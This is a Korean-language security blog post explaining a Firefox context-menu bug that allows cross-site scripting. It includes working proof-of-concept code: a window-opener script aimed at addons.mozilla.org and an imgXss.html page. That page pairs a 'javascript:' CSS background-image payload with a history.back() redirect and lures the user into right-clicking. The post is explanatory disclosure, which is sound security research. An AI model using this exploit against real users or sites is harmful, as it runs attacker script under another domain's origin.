Firefox XSS with Context menu(+css payload)

주말 밤 트위터를 통해 재미난게 있나 구경하던 도중 익숙한 구문이 리트윗 되는 광경을 목격했습니다. 관련해서 링크 읽어보니 재미있는 상황이더군요. 내용을 이야기하자면 현재 동작하지 않던 오래된 XSS 테스팅 코드가 있었는데, 재미있는 버그 하나와 코드를 이용해서 XSS가 가능한 사례인데요. 오늘은 이 내용 관련해서 글을 작성해봅니다.

Context Menu

보편적으로 우클릭 시 나타나는 메뉴를 Context Menu라고 부릅니다. 오늘 내용이 이 Context menu와 관련이 있어 간략하게 언급만 해봅니다.

Bug!

Context 메뉴의 재미있는 점은 Context menu가 열린 상태에서 페이지가 이동되면 Context menu를 연 곳에 내용을 그대로 가지고 있다는 점입니다. 그래서 Context menu가 열리고 페이지가 리다이렉션 될 때 소스보기로 보면 이동된 페이지가 아닌, 이동 시켜준 원본 페이지의 소스가 나타나게 됩니다.

<script>
  document.location.href="https://www.hahwul.com/p/introduction.html"
</script>

A(1.html)에서 Context menu를 열고 redirection으로 B(hahwul.com)으로 왔습니다.

이 때 Context menu의 소스보기를 보면 A(1.html)의 소스가 열립니다.

Vulnerability

이러한 점을 이용하여 A 사이트에서 Context menu로 공격코드를 불러오고 이를 redirection 된 b 사이트에서 실행하여 해당 도메인의 영역에서 스크립트가 동작할 수 있게 해줍니다. 이렇게 동작하면 bookmarklet이나 debugger 계열 스크립트처럼 페이지 내부에 직접 삽입된 것과 동일한 효과를 가져 대상 도메인에서 코드가 동작할 수 있게 됩니다.

코드로 보면 아래와 같습니다.

<button id="qbutt">click me</button>

<script>
  var qwin;

  qbutt.onclick=e=>{
    qwin=open('https://addons.mozilla.org/','qab'); // addons 사이트를 오픈, history.back() 시 되돌아갈 주소를 미리 만듬
    setTimeout(function(){
      open('imgXss.html','qab') // 1초 뒤 imgXss.html 파일을 오픈
    },1000)
  }
</script>

위 코드는 1초 간격 차이로 공격코드 페이지와 타겟 페이지를 띄웁니다. 이는 뒤 공격코드 페이지에서 history,back()으로 페이지를 넘겨 해당 도메인에서 코드가 실행되게 사용한 방법이죠. 아래는 공격코드인 imgXss.html 파일입니다. 실제론 XSS 삽입 페이지 여러개로 구성할 수 있을듯합니다.

<style>*{background-image:url('javascript:alert(location)')}</style>
<b> Right click, wait for redirection then click 'view background image'</b>

<script>
  window.oncontextmenu=e=>{
    setTimeout("history.back()",100) // 1초 뒤 뒤로 이동
  }
</script>

아주 고전적인 공격코드인데, CSS에 배경 이미지 부분에 Javascript 코드를 넣습니다. 그리고 사용자에게 우클릭을 유도 후 view backgroudn image를 누르게 하여 Javascript를 실행하게 하는데요, 여기서 1초 뒤 history.back()으로 아까 addons 페이지로 넘깁니다. 그럼 Context menu는 공격코드쪽 페이지니 Javascript를 호출하도록 할 것이고 도메인은 Addons에서 동작하게 됩니다.